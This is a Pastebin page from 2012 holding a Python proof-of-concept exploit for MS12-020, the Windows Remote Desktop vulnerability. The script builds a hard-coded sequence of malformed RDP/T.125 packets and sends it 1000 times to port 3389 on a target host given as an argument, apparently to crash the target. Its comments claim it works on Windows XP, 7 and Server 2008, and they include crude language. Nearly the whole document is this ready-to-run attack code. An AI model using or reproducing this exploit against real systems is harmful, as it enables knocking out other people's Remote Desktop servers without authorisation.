Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Mar 15th, 2012  |  syntax: Python  |  size: 4.30 KB  |  views: 7,761  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #
  2. #
  3. # ms12-020 "chinese shit" PoC v2 (wireshark version)
  4. #
  5. # tested on winsp3 spanish, reported to work on Win7, win 2008
  6. #
  7. # original source: http://115.com/file/be27pff7
  8. #
  9. #
  10.  
  11. import socket
  12. import sys
  13.  
  14.  
  15. buf=""
  16. buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
  17. buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
  18. buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
  19. buf+="\x02\xf0\x80" # ITU-T Rec X.224
  20. buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125
  21.  
  22. buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
  23. buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
  24. buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
  25. buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
  26. buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
  27. buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
  28. buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
  29. buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
  30. buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
  31. buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
  32. buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
  33. buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
  34. buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
  35. buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
  36. buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
  37. buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
  38. buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
  39. buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
  40. buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
  41. buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
  42. buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
  43. buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
  44. buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
  45. buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
  46. buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
  47. buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
  48. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  49. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  50. buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
  51. buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
  52. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  53. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  54. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  55. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  56. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  57. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  58. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  59. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  60. buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
  61. buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
  62. buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
  63. buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
  64. buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
  65. buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
  66. buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
  67. buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
  68. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  69. buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
  70. buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
  71. buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
  72. buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
  73. buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
  74. buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
  75. buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
  76. buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
  77. buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
  78. buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
  79. buf+="\xc0"
  80.  
  81. buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
  82. buf+="\x02\xf0\x80"  # ITU-T Rec X.224
  83. buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
  84. buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
  85. buf+="\x02\xf0\x80" # ITU-T Rec X.224
  86. buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
  87. buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
  88. buf+="\x02\xf0\x80" # ITU-T Rec X.224
  89. buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
  90. buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
  91. buf+="\x02\xf0\x80" #ITU-T Rec X.224
  92. buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
  93. buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
  94. buf+="\x02\xf0\x80" #ITU-T Rec X.224
  95. buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
  96. buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
  97. buf+="\x02\xf0\x80" #ITU-T Rec X.224
  98. buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
  99. buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
  100. buf+="\x02\xf0\x80" #ITU-T Rec X.224
  101. buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
  102. buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
  103. buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224
  104.  
  105. HOST = sys.argv[1]
  106. PORT = 3389
  107. for i in range(1000):
  108.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  109.         s.connect((HOST,PORT))
  110.         print "sending: %d bytes" % len(buf)
  111.         s.send(buf)
  112.         rec = s.recv(100)
  113.         print "received: %d bytes" % len(rec)
  114.         s.close()